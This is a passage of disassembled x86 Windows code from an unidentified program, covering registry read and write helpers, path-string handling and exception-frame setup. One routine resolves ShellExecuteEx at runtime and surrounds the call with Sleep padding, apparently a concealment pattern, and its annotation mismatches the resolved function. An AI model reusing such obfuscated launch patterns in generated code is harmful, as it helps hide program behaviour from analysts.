		jle	short loc_42638A
		mov	byte ptr [edi+18h], 1
		jmp	short loc_4263A4
; ---------------------------------------------------------------------------


loc_42638A:				; CODE XREF: sub_426022+360j
		and	byte ptr [edi+18h], 0
		push	ecx
		mov	ecx, esp
		mov	[ebp-30h], esp
		push	dword ptr [ebp-24h]
		call	sub_431796
		lea	ecx, [ebp-54h]
		call	sub_426DB8


loc_4263A4:				; CODE XREF: sub_426022+366j
		lea	ecx, [ebp-54h]
		mov	byte ptr [ebp-4], 0Bh
		call	sub_426ABF
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 0Ah
		call	sub_4317A2
		lea	ecx, [ebp-74h]
		mov	byte ptr [ebp-4], 3
		call	sub_426ABF
		lea	ecx, [ebp-34h]
		mov	byte ptr [ebp-4], 2
		call	sub_4317A2
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 1
		call	sub_4317A2
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-14h]
		call	sub_4317A2
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	sub_4317A2
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_426022	endp


; =============== S U B	R O U T	I N E =======================================



sub_42640B	proc near		; CODE XREF: sub_422C48+265p
		mov	eax, offset loc_43247C
		call	sub_4318CA	; _EH_prolog
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		mov	[ebp-10h], esp
		push	offset aShell32_dll ; "shell32.dll"
		call	dword_4330DC	; LoadLibraryA
		test	eax, eax
		mov	[ebp-14h], eax
		jz	short loc_42647D
		push	offset aShellexecuteex ; "ShellExecuteEx"
		push	eax
		call	dword_433060	; GetProcAddress
		mov	edi, eax
		test	edi, edi
		jz	short loc_426474
		mov	esi, dword_4330E0
		push	26h
		call	esi	; Sleep
		push	ecx
		mov	ecx, esp
		mov	[ebp-18h], esp
		push	offset aSei	; "sei \n"
		call	sub_43178A
		mov	ecx, ebx
		call	sub_424B35
		push	2Ah
		call	esi	; Sleep
		and	dword ptr [ebp-4], 0
		mov	eax, eax
		push	dword ptr [ebp+8]
		call	edi	; lstrcpyA


loc_426474:				; CODE XREF: sub_42640B+37j
					; DATA XREF: sub_426490o
		push	dword ptr [ebp-14h]
		call	dword_433054	; FreeLibrary


loc_42647D:				; CODE XREF: sub_42640B+25j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_42640B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; DATA XREF: TEUm:004356DCo
		mov	eax, offset loc_426474
		retn
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_426496	proc near		; CODE XREF: sub_424B41+3FEp
					; sub_424B41+416p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	dword_433074	; lstrcatA
		retn	8
sub_426496	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264A7	proc near		; CODE XREF: sub_423489+61p
					; sub_423489+BC9p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi]
		cmp	edi, eax
		jz	short loc_4264CB
		test	eax, eax
		mov	[esi], eax
		jz	short loc_4264C1
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_4264C1:				; CODE XREF: sub_4264A7+12j
		test	edi, edi
		jz	short loc_4264CB
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]


loc_4264CB:				; CODE XREF: sub_4264A7+Cj
					; sub_4264A7+1Cj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4264A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D2	proc near		; CODE XREF: sub_423489+69p
					; sub_423489+BD4p ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_4264DE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_4264DE:				; CODE XREF: sub_4264D2+4j
		retn
sub_4264D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264DF	proc near		; CODE XREF: sub_423489+77p
					; sub_423489+47Ap ...

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_4264F3
		push	80004003h
		call	sub_431AB2


loc_4264F3:				; CODE XREF: sub_4264DF+8j
		xor	eax, eax
		cmp	[esi], eax
		pop	esi
		setz	al
		retn	4
sub_4264DF	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_432499
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp-10h], ecx
		mov	ecx, [ebp-10h]
		call	sub_4281D0
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp-10h]
		mov	dword ptr [eax+10h], 0
		mov	ecx, [ebp-10h]
		mov	dword ptr [ecx+14h], 0
		push	offset dword_439CB8
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	sub_43179C
		mov	edx, [ebp-10h]
		mov	dword ptr [edx], 80000001h
		mov	eax, [ebp-10h]
		mov	dword ptr [eax+18h], 0
		mov	ecx, [ebp-10h]
		mov	dword ptr [ecx+1Ch], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426584	proc near		; CODE XREF: sub_423489+3B6p
					; sub_424B41+267p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_426584
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	[ebp+var_18], ecx
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_18]
		call	sub_4281D0
		mov	byte ptr [ebp+var_4], 1
		mov	eax, [ebp+var_18]
		mov	dword ptr [eax+10h], 0
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_4]
		mov	[ecx+14h], edx
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+arg_8]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+arg_C]
		mov	[edx], eax
		mov	ecx, [ebp+var_18]
		mov	dword ptr [ecx+18h], 0
		push	offset asc_437534 ; "\\"
		lea	ecx, [ebp+arg_0]
		call	sub_4317F6
		push	5Ch
		lea	ecx, [ebp+arg_0]
		call	sub_4317C6
		push	eax
		lea	edx, [ebp+var_10]
		push	edx
		lea	ecx, [ebp+arg_0]
		call	sub_4317C0
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_20], eax
		mov	byte ptr [ebp+var_4], 2
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	ecx, [ebp+var_18]
		add	ecx, 0Ch
		call	sub_4317A8
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_10]
		call	sub_4317A2
		push	offset asc_437538 ; "\\"
		mov	ecx, [ebp+var_18]
		add	ecx, 0Ch
		call	sub_4317F0
		lea	ecx, [ebp+arg_0]
		call	sub_428280
		mov	esi, eax
		push	5Ch
		lea	ecx, [ebp+arg_0]
		call	sub_4317C6
		sub	esi, eax
		push	esi
		lea	edx, [ebp+var_14]
		push	edx
		lea	ecx, [ebp+arg_0]
		call	sub_4317EA
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_28], eax
		mov	byte ptr [ebp+var_4], 3
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	ecx, [ebp+var_18]
		add	ecx, 8
		call	sub_4317A8
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_14]
		call	sub_4317A2
		push	offset asc_43753C ; "\\"
		mov	ecx, [ebp+var_18]
		add	ecx, 8
		call	sub_4317F6
		push	offset asc_437540 ; "\\"
		mov	ecx, [ebp+var_18]
		add	ecx, 8
		call	sub_4317F0
		mov	ecx, [ebp+var_18]
		call	sub_4266E9
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+arg_0]
		call	sub_4317A2
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_426584	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4266D6	proc near		; CODE XREF: sub_423489+3D7p
					; sub_424B41+6ACp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_428230
		mov	esp, ebp
		pop	ebp
		retn
sub_4266D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4266E9	proc near		; CODE XREF: sub_426584+12Ap
					; sub_426816+24p

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		push	20019h
		push	0
		mov	ecx, [ebp+var_C]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		push	edx
		call	dword_433004	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_426785
		mov	[ebp+var_4], 4
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_C]
		add	ecx, 10h
		push	ecx
		lea	edx, [ebp+var_8]
		push	edx
		push	0
		mov	ecx, [ebp+var_C]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433010	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_426770
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+18h], 1
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433000	; RegCloseKey
		mov	edx, [ebp+var_C]
		mov	eax, [edx+10h]
		jmp	short loc_42678B
; ---------------------------------------------------------------------------


loc_426770:				; CODE XREF: sub_4266E9+66j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433000	; RegCloseKey
		mov	edx, [ebp+var_C]
		mov	eax, [edx+14h]
		jmp	short loc_42678B
; ---------------------------------------------------------------------------


loc_426785:				; CODE XREF: sub_4266E9+31j
		mov	eax, [ebp+var_C]
		mov	eax, [eax+14h]


loc_42678B:				; CODE XREF: sub_4266E9+85j
					; sub_4266E9+9Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4266E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42678F	proc near		; CODE XREF: sub_426843+2Cp

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		push	ecx
		push	0
		push	20006h
		push	0
		push	offset dword_439CBC
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	dword_43300C	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_4267D1
		jmp	short loc_426812
; ---------------------------------------------------------------------------


loc_4267D1:				; CODE XREF: sub_42678F+3Ej
		push	4
		mov	ecx, [ebp+var_8]
		add	ecx, 10h
		push	ecx
		push	4
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		push	eax
		call	dword_433008	; RegSetValueExA
		test	eax, eax
		jnz	short loc_426805
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+18h], 1


loc_426805:				; CODE XREF: sub_42678F+6Aj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		push	eax
		call	dword_433000	; RegCloseKey


loc_426812:				; CODE XREF: sub_42678F+40j
		mov	esp, ebp
		pop	ebp
		retn
sub_42678F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426816	proc near		; CODE XREF: sub_424B41+276p
					; sub_425642+98p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_426837
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+1Ch], 0
		jnz	short loc_426837
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		jmp	short loc_42683F
; ---------------------------------------------------------------------------


loc_426837:				; CODE XREF: sub_426816+Ej
					; sub_426816+17j
		mov	ecx, [ebp+var_4]
		call	sub_4266E9


loc_42683F:				; CODE XREF: sub_426816+1Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_426816	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426843	proc near		; CODE XREF: sub_423489+3C8p
					; sub_425642+D5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [eax+10h]
		jnz	short loc_426863
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_426863
		mov	eax, [ebp+var_4]
		jmp	short loc_426877
; ---------------------------------------------------------------------------


loc_426863:				; CODE XREF: sub_426843+10j
					; sub_426843+19j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax+10h], ecx
		mov	ecx, [ebp+var_4]
		call	sub_42678F
		mov	eax, [ebp+var_4]


loc_426877:				; CODE XREF: sub_426843+1Ej
		mov	esp, ebp
		pop	ebp
		retn	4
sub_426843	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_4324F2
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp-10h], ecx
		mov	ecx, [ebp-10h]
		call	sub_4281D0
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-10h]
		add	ecx, 10h
		call	sub_4317AE
		mov	byte ptr [ebp-4], 1
		mov	ecx, [ebp-10h]
		add	ecx, 14h
		call	sub_4317AE
		mov	byte ptr [ebp-4], 2
		push	offset dword_439CC0
		mov	ecx, [ebp-10h]
		add	ecx, 10h
		call	sub_43179C
		push	offset dword_439CC4
		mov	ecx, [ebp-10h]
		add	ecx, 14h
		call	sub_43179C
		push	offset dword_439CC8
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	sub_43179C
		mov	eax, [ebp-10h]
		mov	dword ptr [eax], 80000001h
		mov	ecx, [ebp-10h]
		mov	dword ptr [ecx+18h], 0
		mov	edx, [ebp-10h]
		mov	dword ptr [edx+1Ch], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42692B	proc near		; CODE XREF: sub_423489+175p
					; sub_423489+296p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42692B
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	esi
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_4], 1
		mov	ecx, [ebp+var_1C]
		call	sub_4281D0
		mov	byte ptr [ebp+var_4], 2
		mov	ecx, [ebp+var_1C]
		add	ecx, 10h
		call	sub_4317AE
		mov	byte ptr [ebp+var_4], 3
		mov	ecx, [ebp+var_1C]
		add	ecx, 14h
		call	sub_4317AE
		mov	byte ptr [ebp+var_4], 4
		push	offset dword_439CCC
		mov	ecx, [ebp+var_1C]
		add	ecx, 10h
		call	sub_43179C
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 14h
		call	sub_4317A8
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_8]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_C]
		mov	[eax], ecx
		mov	edx, [ebp+var_1C]
		mov	dword ptr [edx+18h], 0
		push	offset asc_437544 ; "\\"
		lea	ecx, [ebp+arg_0]
		call	sub_4317F6
		push	5Ch
		lea	ecx, [ebp+arg_0]
		call	sub_4317C6
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	ecx, [ebp+arg_0]
		call	sub_4317C0
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx
		mov	byte ptr [ebp+var_4], 5
		mov	edx, [ebp+var_24]
		push	edx
		mov	ecx, [ebp+var_1C]
		add	ecx, 0Ch
		call	sub_4317A8
		mov	byte ptr [ebp+var_4], 4
		lea	ecx, [ebp+var_10]
		call	sub_4317A2
		push	offset asc_437548 ; "\\"
		mov	ecx, [ebp+var_1C]
		add	ecx, 0Ch
		call	sub_4317F0
		lea	ecx, [ebp+arg_0]
		call	sub_428280
		mov	esi, eax
		push	5Ch
		lea	ecx, [ebp+arg_0]
		call	sub_4317C6
		sub	esi, eax
		push	esi
		lea	eax, [ebp+var_14]
		push	eax
		lea	ecx, [ebp+arg_0]
		call	sub_4317EA
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_2C], ecx
		mov	byte ptr [ebp+var_4], 6
		mov	edx, [ebp+var_2C]
		push	edx
		mov	ecx, [ebp+var_1C]
		add	ecx, 8
		call	sub_4317A8
		mov	byte ptr [ebp+var_4], 4
		lea	ecx, [ebp+var_14]
		call	sub_4317A2
		push	offset asc_43754C ; "\\"
		mov	ecx, [ebp+var_1C]
		add	ecx, 8
		call	sub_4317F6
		push	offset asc_437550 ; "\\"
		mov	ecx, [ebp+var_1C]
		add	ecx, 8
		call	sub_4317F0
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_1C]
		call	sub_426B19
		lea	ecx, [ebp+var_18]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+arg_0]
		call	sub_4317A2
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+arg_4]
		call	sub_4317A2
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_42692B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426ABF	proc near		; CODE XREF: sub_423489+1A5p
					; sub_423489+2C6p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_426ABF
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], 1
		mov	ecx, [ebp+var_10]
		add	ecx, 14h
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 10h
		call	sub_4317A2
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		call	sub_428230
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_426ABF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426B19	proc near		; CODE XREF: sub_42692B+158p
					; sub_426D5C+45p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_426B19
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 2Ch
		mov	[ebp+var_30], ecx
		mov	[ebp+var_2C], 0
		mov	eax, [ebp+var_30]
		add	eax, 4
		push	eax
		push	20019h
		push	0
		mov	ecx, [ebp+var_30]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	ecx, [ebp+var_30]
		mov	edx, [ecx]
		push	edx
		call	dword_433004	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_426C98
		mov	[ebp+var_10], 0
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		lea	ecx, [ebp+var_18]
		push	ecx
		push	0
		mov	ecx, [ebp+var_30]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_30]
		mov	eax, [edx+4]
		push	eax
		call	dword_433010	; RegQueryValueExA
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_431784
		add	esp, 4
		mov	[ebp+var_1C], eax
		mov	edx, [ebp+var_1C]
		mov	[ebp+var_14], edx
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_14]
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		push	0
		mov	ecx, [ebp+var_30]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	eax, [ebp+var_30]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433010	; RegQueryValueExA
		test	eax, eax
		jnz	loc_426C5C
		mov	edx, [ebp+var_14]
		push	edx
		lea	ecx, [ebp+var_20]
		call	sub_43178A
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_34]
		mov	[ebp+var_38], eax
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_38]
		push	ecx
		mov	ecx, [ebp+var_30]
		add	ecx, 10h
		call	sub_4317A8
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_20]
		call	sub_4317A2
		mov	edx, [ebp+var_14]
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_43177E
		add	esp, 4
		mov	ecx, [ebp+var_30]
		mov	dword ptr [ecx+18h], 1
		mov	edx, [ebp+var_30]
		mov	eax, [edx+4]
		push	eax
		call	dword_433000	; RegCloseKey
		mov	ecx, [ebp+var_30]
		add	ecx, 10h
		push	ecx
		mov	ecx, [ebp+arg_0]
		call	sub_431796
		mov	edx, [ebp+var_2C]
		or	edx, 1
		mov	[ebp+var_2C], edx
		mov	eax, [ebp+arg_0]
		jmp	short loc_426CB3
; ---------------------------------------------------------------------------


loc_426C5C:				; CODE XREF: sub_426B19+BDj
		mov	eax, [ebp+var_14]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	sub_43177E
		add	esp, 4
		mov	edx, [ebp+var_30]
		mov	eax, [edx+4]
		push	eax
		call	dword_433000	; RegCloseKey
		mov	ecx, [ebp+var_30]
		add	ecx, 14h
		push	ecx
		mov	ecx, [ebp+arg_0]
		call	sub_431796
		mov	edx, [ebp+var_2C]
		or	edx, 1
		mov	[ebp+var_2C], edx
		mov	eax, [ebp+arg_0]
		jmp	short loc_426CB3
; ---------------------------------------------------------------------------


loc_426C98:				; CODE XREF: sub_426B19+4Dj
		mov	eax, [ebp+var_30]
		add	eax, 14h
		push	eax
		mov	ecx, [ebp+arg_0]
		call	sub_431796
		mov	ecx, [ebp+var_2C]
		or	ecx, 1
		mov	[ebp+var_2C], ecx
		mov	eax, [ebp+arg_0]


loc_426CB3:				; CODE XREF: sub_426B19+141j
					; sub_426B19+17Dj
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_426B19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426CC3	proc near		; CODE XREF: sub_426DB8+73p

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		push	ecx
		push	0
		push	20006h
		push	0
		push	offset dword_439CD0
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	dword_43300C	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_426D05
		jmp	short loc_426D58
; ---------------------------------------------------------------------------


loc_426D05:				; CODE XREF: sub_426CC3+3Ej
		mov	ecx, [ebp+var_8]
		add	ecx, 10h
		call	sub_428280
		add	eax, 1
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 10h
		call	sub_4226A0
		push	eax
		push	1
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433008	; RegSetValueExA
		test	eax, eax
		jnz	short loc_426D4B
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+18h], 1


loc_426D4B:				; CODE XREF: sub_426CC3+7Cj
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433000	; RegCloseKey


loc_426D58:				; CODE XREF: sub_426CC3+40j
		mov	esp, ebp
		pop	ebp
		retn
sub_426CC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426D5C	proc near		; CODE XREF: sub_424B41+3BEp
					; sub_424B41+516p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_426D9A
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+1Ch], 0
		jnz	short loc_426D9A
		mov	edx, [ebp+var_8]
		add	edx, 10h
		push	edx
		mov	ecx, [ebp+arg_0]
		call	sub_431796
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		jmp	short loc_426DB2
; ---------------------------------------------------------------------------


loc_426D9A:				; CODE XREF: sub_426D5C+17j
					; sub_426D5C+20j
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_8]
		call	sub_426B19
		mov	edx, [ebp+var_4]
		or	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]


loc_426DB2:				; CODE XREF: sub_426D5C+3Cj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_426D5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426DB8	proc near		; CODE XREF: sub_423489+196p
					; sub_423489+2B7p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_426DB8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		mov	[ebp+var_18], ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_18]
		add	eax, 10h
		push	eax
		lea	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4282C0
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_426E19
		mov	edx, [ebp+var_18]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_426E19
		mov	eax, [ebp+var_18]
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+arg_0]
		call	sub_4317A2
		mov	eax, [ebp+var_10]
		jmp	short loc_426E48
; ---------------------------------------------------------------------------


loc_426E19:				; CODE XREF: sub_426DB8+3Cj
					; sub_426DB8+45j
		lea	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_18]
		add	ecx, 10h
		call	sub_4317A8
		mov	ecx, [ebp+var_18]
		call	sub_426CC3
		mov	edx, [ebp+var_18]
		mov	[ebp+var_14], edx
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+arg_0]
		call	sub_4317A2
